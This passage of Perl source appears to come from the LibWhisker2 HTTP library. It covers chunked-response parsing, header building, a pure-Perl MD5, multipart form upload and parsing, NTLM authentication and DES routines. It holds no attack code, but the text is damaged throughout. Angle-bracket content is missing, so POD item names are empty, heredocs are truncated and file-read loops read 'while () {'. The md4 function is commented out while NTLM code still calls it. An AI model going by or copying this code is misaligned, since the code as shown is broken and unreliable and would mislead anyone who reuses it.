data length'; $stream->{'close'}->(); return 0; } $a = $x; $a =~ tr/a-fA-F0-9//cd; if ( length($a) > 8 ) { $$hout{whisker}->{'error'} = 'Chunked size is too big: ' . $x; $stream->{'close'}->(); return 0; } $len = hex($a); $len = $max_size if ( $max_size && $len > $max_size ); $$hout{whisker}->{'data'} = $x if ($saveraw); while ( $len > 0 ) { # chunked sucks if ( !defined( $temp = _http_get( $stream, $len ) ) ) { $$hout{whisker}->{'error'} = 'Error reading chunked data'; $stream->{'close'}->(); return 0; } $$hout{whisker}->{'data'} .= $temp; $total += $len; if ( $max_size && $total >= $max_size ) { $stream->{'close'}->(); return 1; } $temp = _http_getline($stream); $$hout{whisker}->{'data'} .= $temp if ( $saveraw && defined $temp ); if ( defined $temp && $temp =~ /^[\r\n]*$/ ) { $temp = _http_getline($stream); $$hout{whisker}->{'data'} .= $temp if ( $saveraw && defined $temp ); } if ( !defined $temp ) { $$hout{whisker}->{'error'} = 'Error reading chunked data'; $stream->{'close'}->(); return 0; } $temp =~ tr/a-fA-F0-9//cd; if ( length($temp) > 8 ) { $$hout{whisker}->{'error'} = 'Chunked size is too big: ' . $temp; $stream->{'close'}->(); return 0; } $len = hex($temp); $len = ( $max_size - $total ) if ( $max_size && $len > ( $max_size - $total ) ); } # read in trailer headers; currently doesn't account for max_size while ( defined( $_ = _http_getline($stream) ) ) { $$hout{whisker}->{'data'} .= $_ if ($saveraw); tr/\r\n//d; last if ( $_ eq '' ); } } else { if ( defined $len ) { return 1 if ( $len <= 0 ); $len = $max_size if ( $max_size && $len > $max_size ); if ( !defined( $$hout{whisker}->{data} = _http_get( $stream, $len ) ) ) { $stream->{'close'}->(); # New LW2.5 feature: allow_short_reads will still return # success, even if all the data wasn't read. This was # per request due to some 3Com switches sending out # the wrong content-length in HTTP response my $s = $$hin{whisker}->{allow_short_reads} || 0; if ( $s != 0 && length($stream->{'bufin'}) > 0 ) { # short read is requested, and there is some data, so # copy it over and return a non-error $$hout{whisker}->{'data'} = $stream->{'bufin'}; return 1; } $$hout{whisker}->{'error'} = 'Error reading data: ' . $stream->{error}; return 0; } } else { # Yuck...read until server stops sending.... $$hout{whisker}->{data} = _http_getall( $stream, $max_size ); $stream->{'close'}->(); } $$hout{whisker}->{'data'} ||= ''; } return 1; } ################################################################## =item B Params: \%in Return: $data This function assembles the headers in the given hash into a data string. =cut sub http_construct_headers { my $hin = shift; my ( %SENT, $output, $i ); my $EOL = $hin->{whisker}->{http_eol} || "\x0d\x0a"; if ( defined $hin->{whisker}->{header_order} && ref( $hin->{whisker}->{header_order} ) eq 'ARRAY' ) { foreach ( @{ $hin->{whisker}->{header_order} } ) { next if ( $_ eq '' || $_ eq 'whisker' || !defined $hin->{$_} ); if ( ref( $hin->{$_} ) ) { utils_croak("http_construct_headers: non-array header value reference") if ( ref( $hin->{$_} ) ne 'ARRAY' ); $SENT{$_} ||= 0; my $v = $$hin{$_}->[ $SENT{$_} ]; $output .= "$_: $v$EOL"; } else { $output .= "$_: $$hin{$_}$EOL"; } $SENT{$_}++; } } foreach ( keys %$hin ) { next if ( $_ eq '' || $_ eq 'whisker' ); if ( ref( $hin->{$_} ) ) { # header with multiple values utils_croak("http_construct_headers: non-array header value ref") if ( ref( $hin->{$_} ) ne 'ARRAY' ); $SENT{$_} ||= 0; for($i=$SENT{$_}; $i<~~@{ $hin->{$_} }; $i++) { $output .= "$_: " . $hin->{$_}->[$i] . $EOL; } } else { # normal header next if ( defined $SENT{$_} ); $output .= "$_: $$hin{$_}$EOL"; } } return $output; } ################################################################## =item B Params: \%request Return: nothing This function will close any open streams for the given request. Note: in order for http_close() to find the right connection, all original host/proxy/port parameters in %request must be the exact same as when the original request was made. =cut sub http_close { my $hin = shift; my $cache_key = stream_key($hin); return if ( !defined $http_host_cache{$cache_key} ); my $stream = $http_host_cache{$cache_key}; $stream->{'close'}->(); } ################################################################## =item B Params: \%request, \%response, $timeout Return: $result This function is identical to http_do_request(), except that it wraps the entire request in a timeout wrapper. $timeout is the number of seconds to allow for the entire request to be completed. Note: this function uses alarm() and signals, and thus will only work on Unix-ish platforms. It should be safe to call on any platform though. =cut sub http_do_request_timeout { my ( $req, $resp, $timeout ) = @_; $timeout ||= 30; my $result; eval { local $SIG{ALRM} = sub { die "timeout\n" }; eval { alarm($timeout) }; $result = LW2::http_do_request( $req, $resp ); eval { alarm(0) }; }; if ($@) { $result = 1; $resp->{whisker}->{error} = 'Error with timeout wrapper'; $resp->{whisker}->{error} = 'Total transaction timed out' if ( $@ =~ /timeout/ ); } return $result; } ######################################################################## { # start md5 packaged varbs my ( @S, @T, @M ); my $code = ''; my $MD5_TRYLOADING = 1; =item B Params: $data Return: $hex_md5_string This function takes a data scalar, and composes a MD5 hash of it, and returns it in a hex ascii string. It will use the fastest MD5 function available. =cut sub md5 { return undef if ( !defined $_[0] ); # oops, forgot the data if ($MD5_TRYLOADING) { $MD5_TRYLOADING = 0; eval "require MD5"; } return MD5->hexhash( $_[0] ) if ($MD5::VERSION); my $DATA = _md5_pad( $_[0] ); &_md5_init() if ( !defined $M[0] ); return _md5_perl_generated( \$DATA ); } ######################################################################## sub _md5_init { return if ( defined $S[0] ); my $i; for ( $i = 1 ; $i <= 64 ; $i++ ) { $T[ $i - 1 ] = int( ( 2**32 ) * abs( sin($i) ) ); } my @t = ( 7, 12, 17, 22, 5, 9, 14, 20, 4, 11, 16, 23, 6, 10, 15, 21 ); for ( $i = 0 ; $i < 64 ; $i++ ) { $S[$i] = $t[ ( int( $i / 16 ) * 4 ) + ( $i % 4 ) ]; } @M = ( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 1, 6, 11, 0, 5, 10, 15, 4, 9, 14, 3, 8, 13, 2, 7, 12, 5, 8, 11, 14, 1, 4, 7, 10, 13, 0, 3, 6, 9, 12, 15, 2, 0, 7, 14, 5, 12, 3, 10, 1, 8, 15, 6, 13, 4, 11, 2, 9 ); &_md5_generate(); # check to see if it works correctly my $TEST = _md5_pad('foobar'); if ( _md5_perl_generated( \$TEST ) ne '3858f62230ac3c915f300c664312c63f' ) { utils_carp('md5: MD5 self-test not successful.'); } } ######################################################################## # This function is from Digest::Perl::MD5, and bears the following # copyrights: # # Copyright 2000 Christian Lackas, Imperia Software Solutions # Copyright 1998-1999 Gisle Aas. # Copyright 1995-1996 Neil Winton. # Copyright 1991-1992 RSA Data Security, Inc. # sub _md5_pad { my $l = length( my $msg = shift() . chr(128) ); $msg .= "\0" x ( ( $l % 64 <= 56 ? 56 : 120 ) - $l % 64 ); $l = ( $l - 1 ) * 8; $msg .= pack 'VV', $l & 0xffffffff, ( $l >> 16 >> 16 ); return $msg; } ######################################################################## sub _md5_generate { my $N = 'abcddabccdabbcda'; my ( $i, $M ) = ( 0, '' ); $M = '&0xffffffff' if ( ( 1 << 16 ) << 16 ); # mask for 64bit systems $code = < Params: $data Return: $hex_md4_string This function takes a data scalar, and composes a MD4 hash of it, and returns it in a hex ascii string. It will use the fastest MD4 function available. =cut # sub md4 { # return undef if ( !defined $_[0] ); # oops, forgot the data # my $DATA = _md5_pad( $_[0] ); # &_md4_init() if ( !defined $M[0] ); # return _md4_perl_generated( \$DATA ); # } ######################################################################## # sub _md4_init { # return if ( defined $S[0] ); # my $i; # my @t = ( 3, 7, 11, 19, 3, 5, 9, 13, 3, 9, 11, 15 ); # for ( $i = 0 ; $i < 48 ; $i++ ) { # $S[$i] = $t[ ( int( $i / 16 ) * 4 ) + ( $i % 4 ) ]; # } # @M = ( # 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, # 0, 4, 8, 12, 1, 5, 9, 13, 2, 6, 10, 14, 3, 7, 11, 15, # 0, 8, 4, 12, 2, 10, 6, 14, 1, 9, 5, 13, 3, 11, 7, 15 # ); # my $N = 'abcddabccdabbcda'; # my $M = ''; # $M = '&0xffffffff' if ( ( 1 << 16 ) << 16 ); # mask for 64bit systems # $code = <>(32-$S[$i]))&((1<<$S[$i])-1))))$M;\n"; # } # for ( ; $i < 32 ; $i++ ) { # my ( $a, $b, $c, $d ) = # split( '', substr( $N, ( $i % 4 ) * 4, 4 ) ); # $code .= # "\$t=(( (\$$b&\$$c)|(\$$b&\$$d)|(\$$c&\$$d) )+\$$a+\$D[$M[$i]]+0x5a827999)$M;\n"; # $code .= # "\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1))))$M;\n"; # } # for ( ; $i < 48 ; $i++ ) { # my ( $a, $b, $c, $d ) = # split( '', substr( $N, ( $i % 4 ) * 4, 4 ) ); # $code .= # "\$t=(( \$$b^\$$c^\$$d )+\$$a+\$D[$M[$i]]+0x6ed9eba1)$M;\n"; # $code .= # "\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1))))$M;\n"; # } # $code .= < Params: \%multi_hash, $param_name, $param_value Return: nothing This function sets the named parameter to the given value within the supplied multipart hash. =cut sub multipart_set { my ( $hr, $n, $v ) = @_; return if ( !ref($hr) ); # error check return undef if ( !defined $n || $n eq '' ); $$hr{$n} = $v; } ######################################################################## =item B Params: \%multi_hash, $param_name Return: $param_value, undef on error This function retrieves the named parameter to the given value within the supplied multipart hash. There is a special case where the named parameter is actually a file--in which case the resulting value will be "\0FILE". In general, all special values will be prefixed with a NULL character. In order to get a file's info, use multipart_getfile(). =cut sub multipart_get { my ( $hr, $n ) = @_; return undef if ( !ref($hr) ); # error check return undef if ( !defined $n || $n eq '' ); return $$hr{$n}; } ######################################################################## =item B Params: \%multi_hash, $param_name, $file_path [, $filename] Return: undef on error, 1 on success NOTE: this function does not actually add the contents of $file_path into the %multi_hash; instead, multipart_write() inserts the content when generating the final request. =cut sub multipart_setfile { my ( $hr, $n, $path ) = ( shift, shift, shift ); my ($fname) = shift; return undef if ( !ref($hr) ); # error check return undef if ( !defined $n || $n eq '' ); return undef if ( !defined $path ); return undef if ( !( -e $path && -f $path ) ); if ( !defined $fname ) { $path =~ m/[\\\/]([^\\\/]+)$/; $fname = $1 || "whisker-file"; } $$hr{$n} = "\0FILE"; $$hr{"\0$n"} = [ $path, $fname ]; return 1; } ######################################################################## =item B Params: \%multi_hash, $file_param_name Return: $path, $name ($path=undef on error) multipart_getfile is used to retrieve information for a file parameter contained in %multi_hash. To use this you would most likely do: ($path,$fname)=LW2::multipart_getfile(\%multi,"param_name"); =cut sub multipart_getfile { my ( $hr, $n ) = @_; return undef if ( !ref($hr) ); # error check return undef if ( !defined $n || $n eq '' ); return undef if ( !defined $$hr{$n} || $$hr{$n} ne "\0FILE" ); return @{ $$hr{"\0$n"} }; } ######################################################################## =item B Params: \%multi_hash [, $new_boundary_name] Return: $current_boundary_name multipart_boundary is used to retrieve, and optionally set, the multipart boundary used for the request. NOTE: the function does no checking on the supplied boundary, so if you want things to work make sure it's a legit boundary. Libwhisker does *not* prefix it with any '---' characters. =cut sub multipart_boundary { my ( $hr, $new ) = @_; my $ret; return undef if ( !ref($hr) ); # error check if ( !defined $$hr{"\0BOUNDARY"} ) { # create boundary on the fly my $b = uc( utils_randstr(20) ); my $b2 = '-' x 32; $$hr{"\0BOUNDARY"} = "$b2$b"; } $ret = $$hr{"\0BOUNDARY"}; if ( defined $new ) { $$hr{"\0BOUNDARY"} = $new; } return $ret; } ######################################################################## =item B Params: \%multi_hash, \%request Return: 1 if successful, undef on error multipart_write is used to parse and construct the multipart data contained in %multi_hash, and place it ready to go in the given whisker hash (%request) structure, to be sent to the server. NOTE: file contents are read into the final %request, so it's possible for the hash to get *very* large if you have (a) large file(s). =cut sub multipart_write { my ( $mp, $hr ) = @_; return undef if ( !ref($mp) ); # error check return undef if ( !ref($hr) ); # error check if ( !defined $$mp{"\0BOUNDARY"} ) { # create boundary on the fly my $b = uc( utils_randstr(20) ); my $b2 = '-' x 32; $$mp{"\0BOUNDARY"} = "$b2$b"; } my $B = $$mp{"\0BOUNDARY"}; my $EOL = $$hr{whisker}->{http_eol} || "\x0d\x0a"; my $keycount = 0; foreach ( keys %$mp ) { next if ( substr( $_, 0, 1 ) eq "\0" ); $keycount++; if ( $$mp{$_} eq "\0FILE" ) { my ( $path, $name ) = multipart_getfile( $mp, $_ ); next if ( !defined $path ); $$hr{whisker}->{data} .= "$B$EOL"; $$hr{whisker}->{data} .= "Content-Disposition: " . "form-data; name=\"$_\"; "; $$hr{whisker}->{data} .= "filename=\"$name\"$EOL"; $$hr{whisker}->{data} .= "Content-Type: " . "application/octet-stream$EOL"; $$hr{whisker}->{data} .= $EOL; next if ( !open( IN, "<$path" ) ); binmode(IN); # stupid Windows while () { $$hr{whisker}->{data} .= $_; } close(IN); $$hr{whisker}->{data} .= $EOL; # WARNING: is this right? } else { $$hr{whisker}->{data} .= "$B$EOL"; $$hr{whisker}->{data} .= "Content-Disposition: " . "form-data; name=\"$_\"$EOL"; $$hr{whisker}->{data} .= "$EOL$$mp{$_}$EOL"; } } if ($keycount) { $$hr{whisker}->{data} .= "$B--$EOL"; # closing boundary $$hr{"Content-Length"} = length( $$hr{whisker}->{data} ); $$hr{"Content-Type"} = "multipart/form-data; boundary=$B"; return 1; } else { # multipart hash didn't contain params to upload return undef; } } ######################################################################## =item B Params: \%multi_hash, \%hout_response [, $filepath ] Return: 1 if successful, undef on error multipart_read will parse the data contents of the supplied %hout_response hash, by passing the appropriate info to multipart_read_data(). Please see multipart_read_data() for more info on parameters and behaviour. NOTE: this function will return an error if the given %hout_response Content-Type is not set to "multipart/form-data". =cut sub multipart_read { my ( $mp, $hr, $fp ) = @_; return undef if ( !( defined $mp && ref($mp) ) ); return undef if ( !( defined $hr && ref($hr) ) ); my $ctype = utils_find_lowercase_key( $hr, 'content-type' ); return undef if ( !defined $ctype ); return undef if ( $ctype !~ m#^multipart/form-data#i ); return multipart_read_data( $mp, \$$hr{'whisker'}->{'data'}, undef, $fp ); } ######################################################################## =item B Params: \%multi_hash, \$data, $boundary [, $filepath ] Return: 1 if successful, undef on error multipart_read_data parses the contents of the supplied data using the given boundary and puts the values in the supplied %multi_hash. Embedded files will *not* be saved unless a $filepath is given, which should be a directory suitable for writing out temporary files. NOTE: currently only application/octet-stream is the only supported file encoding. All other file encodings will not be parsed/saved. =cut sub multipart_read_data { my ( $mp, $dr, $bound, $fp ) = @_; return undef if ( !( defined $mp && ref($mp) ) ); return undef if ( !( defined $dr && ref($dr) ) ); # if $bound is undef, then we'll snag what looks to be # the first boundary from the data. if ( !defined $bound ) { if ( $$dr =~ /([-]{5,}[A-Z0-9]+)[\r\n]/i ) { $bound = $1; } else { # we didn't spot a typical boundary; error return undef; } } if ( defined $fp && !( -d $fp && -w $fp ) ) { $fp = undef; } my $line = utils_getline_crlf( $dr, 0 ); return undef if ( !defined $line ); return undef if ( index( $line, $bound ) != 0 ); my $done = 0; while ( !$done ) { $done = _multipart_read_data_part( $mp, $dr, $bound, $fp ); } return 1; } ######################################################################## sub _multipart_read_data_part { my ( $mp, $dr, $bound, $fp ) = @_; my $dispinfo = utils_getline_crlf($dr); return 1 if ( !defined $dispinfo ); return 1 if ( length($dispinfo) == 0 ); my $lcdisp = lc($dispinfo); if ( index( $lcdisp, 'content-disposition: form-data;' ) != 0 ) { return 1; } # bad disposition my ( $s, $e, $l ); $s = index( $lcdisp, 'name="', 30 ); $e = index( $lcdisp, '"', $s + 6 ); return 1 if ( $s == -1 || $e == -1 ); my $NAME = substr( $dispinfo, $s + 6, $e - $s - 6 ); $s = index( $lcdisp, 'filename="', $e ); my $FILENAME = undef; if ( $s != -1 ) { $e = index( $lcdisp, '"', $s + 10 ); return 1 if ( $e == -1 ); # puke; malformed filename $FILENAME = substr( $dispinfo, $s + 10, $e - $s - 10 ); $s = rindex( $FILENAME, '\\' ); $e = rindex( $FILENAME, '/' ); $s = $e if ( $e > $s ); $FILENAME = substr( $FILENAME, $s + 1, length($FILENAME) - $s ); } my $CTYPE = utils_getline_crlf($dr); return 1 if ( !defined $CTYPE ); $CTYPE = lc($CTYPE); if ( length($CTYPE) > 0 ) { $s = index( $CTYPE, 'content-type:' ); return 1 if ( $s != 0 ); # bad ctype line $CTYPE = substr( $CTYPE, 13, length($CTYPE) - 13 ); $CTYPE =~ tr/ \t//d; my $xx = utils_getline_crlf($dr); return 1 if ( !defined $xx ); return 1 if ( length($xx) > 0 ); } else { $CTYPE = 'application/octet-stream'; } my $VALUE = ''; while ( defined( $l = utils_getline_crlf($dr) ) ) { last if ( index( $l, $bound ) == 0 ); $VALUE .= $l; $VALUE .= "\r\n"; } substr( $VALUE, -2, 2 ) = ''; if ( !defined $FILENAME ) { # read in param $$mp{$NAME} = $VALUE; return 0; } else { # read in file $$mp{$NAME} = "\0FILE"; return 0 if ( !defined $fp ); # TODO: funky content types, like application/x-macbinary if ( $CTYPE ne 'application/octet-stream' ) { return 0; } my $rfn = lc( utils_randstr(12) ); my $fullpath = "$fp$rfn"; $$mp{"\0$NAME"} = [ undef, $FILENAME ]; return 0 if ( !open( OUT, ">$fullpath" ) ); # error opening file binmode(OUT); # stupid Windows $$mp{"\0$NAME"} = [ $fullpath, $FILENAME ]; print OUT $VALUE; close(OUT); return 0; } # if !defined $FILENAME return 0; # um, this should never be reached... } ######################################################################## =item B Params: \%multi_hash Return: @files multipart_files_list returns an array of parameter names for all the files that are contained in %multi_hash. =cut sub multipart_files_list { my ($mp) = shift; my @ret; return () if ( !( defined $mp && ref($mp) ) ); while ( my ( $K, $V ) = each(%$mp) ) { push( @ret, $K ) if ( $V eq "\0FILE" ); } return @ret; } ######################################################################## =item B Params: \%multi_hash Return: @params multipart_files_list returns an array of parameter names for all the regular parameters (non-file) that are contained in %multi_hash. =cut sub multipart_params_list { my ($mp) = shift; my @ret; return () if ( !( defined $mp && ref($mp) ) ); while ( my ( $K, $V ) = each(%$mp) ) { push( @ret, $K ) if ( $V ne "\0FILE" && substr( $K, 0, 1 ) ne "\0" ); } return @ret; } ######################################################################## ######################################################################## =item B Params: $username, $password [, $domain, $ntlm_only] Return: $ntlm_object Returns a reference to an array (otherwise known as the 'ntlm object') which contains the various information specific to a user/pass combo. If $ntlm_only is set to 1, then only the NTLM hash (and not the LanMan hash) will be generated. This results in a speed boost, and is typically fine for using against IIS servers. The array contains the following items, in order: username, password, domain, lmhash(password), ntlmhash(password) =cut sub ntlm_new { my ( $user, $pass, $domain, $flag ) = @_; $flag ||= 0; return undef if ( !defined $user ); $pass ||= ''; $domain ||= ''; my @a = ( "$user", "$pass", "$domain", undef, undef ); my $t; if ( $flag == 0 ) { $t = substr( $pass, 0, 14 ); $t =~ tr/a-z/A-Z/; $t .= "\0" x ( 14 - length($t) ); $a[3] = des_E_P16($t); # LanMan password hash $a[3] .= "\0" x ( 21 - length( $a[3] ) ); } $t = md4( encode_unicode($pass) ); $t =~ s/([a-z0-9]{2})/sprintf("%c",hex($1))/ieg; $t .= "\0" x ( 21 - length($t) ); $a[4] = $t; # NTLM password hash &des_cache_reset(); # reset the keys hash return \@a; } ######################################################################## sub ntlm_generate_responses { my ( $obj, $chal ) = @_; return ( undef, undef ) if ( !defined $obj || !defined $chal ); return ( undef, undef ) if ( !ref($obj) ); my $x = ''; $x = des_E_P24( $obj->[3], $chal ) if ( defined $obj->[3] ); return ( $x, des_E_P24( $obj->[4], $chal ) ); } ######################################################################## =item B Params: $challenge Return: @challenge_parts Splits the supplied challenge into the various parts. The returned array contains elements in the following order: unicode_domain, ident, packet_type, domain_len, domain_maxlen, domain_offset, flags, challenge_token, reserved, empty, raw_data =cut sub ntlm_decode_challenge { return undef if ( !defined $_[0] ); my $chal = shift; my @res; @res = unpack( 'Z8VvvVVa8a8a8', substr( $chal, 0, 48 ) ); push( @res, substr( $chal, 48 ) ); unshift( @res, substr( $chal, $res[4], $res[2] ) ); return @res; } ######################################################################## sub ntlm_header { my ( $s, $h, $o ) = @_; my $l = length($s); return pack( 'vvV', 0, 0, $o - $h ) if ( $l == 0 ); return pack( 'vvV', $l, $l, $o ); } ######################################################################## =item B Params: $ntlm_obj [, $server_challenge] Return: $response ntlm_client() is responsible for generating the base64-encoded text you include in the HTTP Authorization header. If you call ntlm_client() without a $server_challenge, the function will return the initial NTLM request packet (message packet #1). You send this to the server, and take the server's response (message packet #2) and pass that as $server_challenge, causing ntlm_client() to generate the final response packet (message packet #3). Note: $server_challenge is expected to be base64 encoded. =cut sub ntlm_client { my ( $obj, $p ) = @_; my $resp = "NTLMSSP\0"; return undef if ( !defined $obj || !ref($obj) ); if ( defined $p && $p ne '' ) { # answer challenge $p =~ tr/ \t\r\n//d; $p = decode_base64($p); my @c = ntlm_decode_challenge($p); my $uu = encode_unicode( $obj->[0] ); # username $resp .= pack( 'V', 3 ); my ( $hl, $hn ) = ntlm_generate_responses( $obj, $c[7] ); # token return undef if ( !defined $hl || !defined $hn ); my $o = 64; $resp .= ntlm_header( $hl, 64, $o ); # LM hash $resp .= ntlm_header( $hn, 64, ( $o += length($hl) ) ); # NTLM hash $resp .= ntlm_header( $c[0], 64, ( $o += length($hn) ) ); # domain $resp .= ntlm_header( $uu, 64, ( $o += length( $c[0] ) ) ); # username $resp .= ntlm_header( $uu, 64, ( $o += length($uu) ) ); # workstation $resp .= ntlm_header( '', 64, ( $o += length($uu) ) ); # session $resp .= pack( 'V', $c[6] ); $resp .= $hl . $hn . $c[0] . $uu . $uu; } else { # initiate challenge $resp .= pack( 'VV', 1, 0x0000b207 ); $resp .= ntlm_header( $obj->[0], 32, 32 ); $resp .= ntlm_header( $obj->[2], 32, 32 + length( $obj->[0] ) ); $resp .= $obj->[0] . $obj->[2]; } return encode_base64( $resp, '' ); } ######################################################################## sub _ntlm_auth_callback { my ( $stream, $hi, $ho, $pflag ) = @_; my ( $ntlmobj, $header, $req_pre, $req_post, $aheader, $work, $ecode ); my ($rheader); $pflag ||= 0; if ($pflag) { $ntlmobj = $$hi{whisker}->{auth_proxy_data}; $header = 'Proxy-Authorization'; $rheader = 'proxy-authenticate'; $ecode = 407; $hi->{'Proxy-Connection'} = 'Keep-Alive'; } else { $ntlmobj = $$hi{whisker}->{auth_data}; $header = 'Authorization'; $rheader = 'www-authenticate'; $ecode = 401; $hi->{Connection} = 'Keep-Alive'; } $ho->{whisker}->{error} = 'NTLM ' . $header; $hi->{$header} = 'NTLM ' . ntlm_client($ntlmobj); my $ret = _http_do_request_ex( $stream, $hi, $ho ); return $ret if ($ret); return 200 if ( $$ho{whisker}->{code} == 200 ); return 1 if ( $$ho{whisker}->{code} != $ecode ); my $thead = utils_find_lowercase_key( $ho, $rheader ); return 1 if ( !defined $thead ); my ( $found, @auths ); if ( ref($thead) ) { @auths = @$thead; } else { push @auths, $thead; } foreach (@auths) { $found = $1 if (m/^NTLM (.+)$/); } return 1 if ( !defined $found ); $hi->{$header} = 'NTLM ' . ntlm_client( $ntlmobj, $found ); push @{ $hi->{whisker}->{header_delete_on_success} }, $header; return 0; } sub _ntlm_auth_proxy_callback { return _ntlm_auth_callback( $_[0], $_[1], $_[2], 1 ); } ######################################################################## { # start of DES local container ####################################### my $generated = 0; my $perm1 = [ 57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4 ]; my $perm2 = [ 14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32 ]; my $perm3 = [ 58, 50, 42, 34, 26, 18, 10, 2, 60, 52, 44, 36, 28, 20, 12, 4, 62, 54, 46, 38, 30, 22, 14, 6, 64, 56, 48, 40, 32, 24, 16, 8, 57, 49, 41, 33, 25, 17, 9, 1, 59, 51, 43, 35, 27, 19, 11, 3, 61, 53, 45, 37, 29, 21, 13, 5, 63, 55, 47, 39, 31, 23, 15, 7 ]; my $perm4 = [ 32, 1, 2, 3, 4, 5, 4, 5, 6, 7, 8, 9, 8, 9, 10, 11, 12, 13, 12, 13, 14, 15, 16, 17, 16, 17, 18, 19, 20, 21, 20, 21, 22, 23, 24, 25, 24, 25, 26, 27, 28, 29, 28, 29, 30, 31, 32, 1 ]; my $perm5 = [ 16, 7, 20, 21, 29, 12, 28, 17, 1, 15, 23, 26, 5, 18, 31, 10, 2, 8, 24, 14, 32, 27, 3, 9, 19, 13, 30, 6, 22, 11, 4, 25 ]; my $perm6 = [ 40, 8, 48, 16, 56, 24, 64, 32, 39, 7, 47, 15, 55, 23, 63, 31, 38, 6, 46, 14, 54, 22, 62, 30, 37, 5, 45, 13, 53, 21, 61, 29, 36, 4, 44, 12, 52, 20, 60, 28, 35, 3, 43, 11, 51, 19, 59, 27, 34, 2, 42, 10, 50, 18, 58, 26, 33, 1, 41, 9, 49, 17, 57, 25 ]; my $sc = [ 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1 ]; sub des_E_P16 { my ($p14) = @_; my $sp8 = [ 0x4b, 0x47, 0x53, 0x21, 0x40, 0x23, 0x24, 0x25 ]; my $p7 = substr( $p14, 0, 7 ); my $p16 = des_smbhash( $sp8, $p7 ); $p7 = substr( $p14, 7, 7 ); $p16 .= des_smbhash( $sp8, $p7 ); return $p16; } sub des_E_P24 { my ( $p21, $c8_str ) = @_; my @c8 = map { ord($_) } split( //, $c8_str ); my $p24 = des_smbhash( \@c8, substr( $p21, 0, 7 ) ); $p24 .= des_smbhash( \@c8, substr( $p21, 7, 7 ) ); $p24 .= des_smbhash( \@c8, substr( $p21, 14, 7 ) ); } sub des_permute { my ( $i, $out, $in, $p, $n ) = ( 0, @_ ); foreach $i ( 0 .. ( $n - 1 ) ) { $out->[$i] = $in->[ $p->[$i] - 1 ]; } } sub des_lshift { my ( $c, $d, $count ) = @_; my ( @outc, @outd, $i, $x ); while ( $count-- ) { push @$c, shift @$c; push @$d, shift @$d; } } my %dohash_cache; # cache for key data; saves some cycles my %key_cache; # another cache for key data sub des_cache_reset { %dohash_cache = (); %key_cache = (); } sub des_dohash { my ( $out, $in, $key ) = @_; my ( $i, $j, $k, @pk1, @c, @d, @cd, @ki, @pd1, @l, @r, @rl ); # if(!defined $dohash_cache{$skey}){ &des_permute( \@pk1, $key, $perm1, 56 ); for ( $i = 0 ; $i < 28 ; $i++ ) { $c[$i] = $pk1[$i]; $d[$i] = $pk1[ $i + 28 ]; } for ( $i = 0 ; $i < 16 ; $i++ ) { my @array; &des_lshift( \@c, \@d, $sc->[$i] ); @cd = ( @c, @d ); &des_permute( \@array, \@cd, $perm2, 48 ); $ki[$i] = \@array; # $dohash_cache{$skey}->[$i]=\@array; } # } else { # for($i=0;$i<16;$i++){ # $ki[$i]=$dohash_cache{$skey}->[$i];} # } des_dohash2( $in, \@l, \@r, \@ki ); @rl = ( @r, @l ); &des_permute( $out, \@rl, $perm6, 64 ); } sub des_str_to_key { my ($str) = @_; my ( $i, @key, $out, @str ); unshift( @str, ord($_) ) while ( $_ = chop($str) ); $key[0] = $str[0] >> 1; $key[1] = ( ( $str[0] & 0x01 ) << 6 ) | ( $str[1] >> 2 ); $key[2] = ( ( $str[1] & 0x03 ) << 5 ) | ( $str[2] >> 3 ); $key[3] = ( ( $str[2] & 0x07 ) << 4 ) | ( $str[3] >> 4 ); $key[4] = ( ( $str[3] & 0x0f ) << 3 ) | ( $str[4] >> 5 ); $key[5] = ( ( $str[4] & 0x1f ) << 2 ) | ( $str[5] >> 6 ); $key[6] = ( ( $str[5] & 0x3f ) << 1 ) | ( $str[6] >> 7 ); $key[7] = $str[6] & 0x7f; foreach $i ( 0 .. 7 ) { $key[$i] = 0xff & ( $key[$i] << 1 ); } @{ $key_cache{$str} } = @key; return \@key; } sub des_smbhash { my ( $in, $key ) = @_; my $key2; &des_generate if ( !$generated ); if ( defined $key_cache{$key} ) { $key2 = $key_cache{$key}; } else { $key2 = &des_str_to_key($key); } my ( $i, $div, $mod, @in, @outb, @inb, @keyb, @out ); foreach $i ( 0 .. 63 ) { $div = int( $i / 8 ); $mod = $i % 8; $inb[$i] = ( $in->[$div] & ( 1 << ( 7 - ($mod) ) ) ) ? 1 : 0; $keyb[$i] = ( $key2->[$div] & ( 1 << ( 7 - ($mod) ) ) ) ? 1 : 0; $outb[$i] = 0; } &des_dohash( \@outb, \@inb, \@keyb ); foreach $i ( 0 .. 7 ) { $out[$i] = 0; } foreach $i ( 0 .. 63 ) { $out[ int( $i / 8 ) ] |= ( 1 << ( 7 - ( $i % 8 ) ) ) if ( $outb[$i] ); } my $out = pack( "C8", @out ); return $out; } sub des_generate { # really scary dragons here....this code is optimized # for speed, and not readability my ( $i, $j ); my $code = <[$i] - 1 ) . "];\n"; } for ( $i = 0 ; $i < 32 ; $i++ ) { $code .= "\$l->[$i]=\$p[$i]; \$r->[$i]=\$p[" . ( $i + 32 ) . "];\n"; } $code .= 'for($i=0;$i<16;$i++){ local (@er,@erk,@b,@cb,@pcb,@r2);'; for ( $i = 0 ; $i < 48 ; $i++ ) { $code .= "\$erk[$i]=\$r->[" . ( $perm4->[$i] - 1 ) . "]^(\$ki->[\$i]->[$i]);\n"; } for ( $i = 0 ; $i < 8 ; $i++ ) { for ( $j = 0 ; $j < 6 ; $j++ ) { $code .= "\$b[$i][$j]=\$erk[" . ( $i * 6 + $j ) . "];\n"; } } for ( $i = 0 ; $i < 8 ; $i++ ) { $code .= 